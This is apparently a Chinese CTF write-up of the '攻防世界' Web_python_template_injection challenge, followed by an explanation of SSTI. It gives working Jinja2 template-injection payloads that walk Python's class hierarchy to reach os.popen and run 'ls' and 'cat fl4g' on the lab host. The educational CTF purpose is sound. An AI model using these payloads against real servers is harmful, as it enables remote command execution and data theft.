攻防世界web第十题Web_python_template_injection

这是题目,从题目上看是一个python模板注入类型的题目。

首先测试是否存在模板注入漏洞,构造http://61.147.171.105:57423/{{config}}

得到

说明存在模板注入漏洞,继续注入

构造http://61.147.171.105:57423/{{''.class .mro }}:

得到

再构造http://61.147.171.105:57423/{{''.class .mro [2].subclasses ()}}:

编写脚本找到类索引,

python 复制代码
text = "<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>"
 
new_text = text.split(",")
index = 0
for i in new_text:
    index += 1
print(index - 1)  #数组索引从0开始

运行得到索引值为71,

再构造http://61.147.171.105:57423/{{''.class .mro [2].subclasses ()[71].init .globals ['os'].popen('ls').read()}}

得到

最后构造http://61.147.171.105:57423/{{''.class .mro [2].subclasses ()[71].init .globals ['os'].popen('cat fl4g').read()}}

得到flag

总结:本质上就是通过模板注入代码获取所需信息。

知识点:

1.SSTI(Server-Side Template Injection)是一种发生在服务器端模板中的漏洞。当应用程序接受用户输入并将其直接传递到模板引擎中进行解析时,如果未对用户输入进行充分的验证和过滤,攻击者可以通过构造恶意的输入来注入模板代码,导致服务器端模板引擎执行恶意代码。

SSTI漏洞利用基本流程

获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令.

SSTI漏洞原理

服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞.

实际上就是我们传到后台的数据会被后台获取数据并执行。本质上是后台代码解析前端传过来的数据的时候没有进行处理导致我们用{{}}传进来的恶意命令被动态渲染,从而产生了这样的问题。

class #返回type类型,查看对象的类型
bases #返回tuple类型,列出该类的基类
mro #返回tuple类型,给出解析方法调用的顺序
subclasses () #返回内建方法builtin_function_or_method,获取一个类的子类
globals #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量,
init 类的初始化方法

popen函数是用来执行系统命令的

相关推荐
JQLvopkk33 分钟前
能用C#开发AI
开发语言·人工智能·c#
键盘鼓手苏苏35 分钟前
Flutter for OpenHarmony:markdown 纯 Dart 解析引擎(将文本转化为结构化 HTML/UI) 深度解析与鸿蒙适配指南
前端·网络·算法·flutter·ui·html·harmonyos
郝学胜-神的一滴2 小时前
当AI遇见架构:Vibe Coding时代的设计模式复兴
开发语言·数据结构·人工智能·算法·设计模式·架构
阿里嘎多学长6 小时前
2026-02-16 GitHub 热点项目精选
开发语言·程序员·github·代码托管
芭拉拉小魔仙7 小时前
企业级Vue项目的状态管理:从原理到实战架构
前端·vue.js·架构
恋猫de小郭7 小时前
丰田正在使用 Flutter 开发游戏引擎 Fluorite
android·前端·flutter
扶苏10027 小时前
Vue 3 响应式原理深度解析
前端·javascript·vue.js
啊吧怪不啊吧7 小时前
C++之基于正倒排索引的Boost搜索引擎项目usuallytool部分代码及详解
开发语言·c++·搜索引擎·项目
NEXT067 小时前
React 性能优化:图片懒加载
前端·react.js·面试
PineappleCoder8 小时前
别让字体拖了后腿:FOIT/FOUT 深度解析与字体加载优化全攻略
前端·性能优化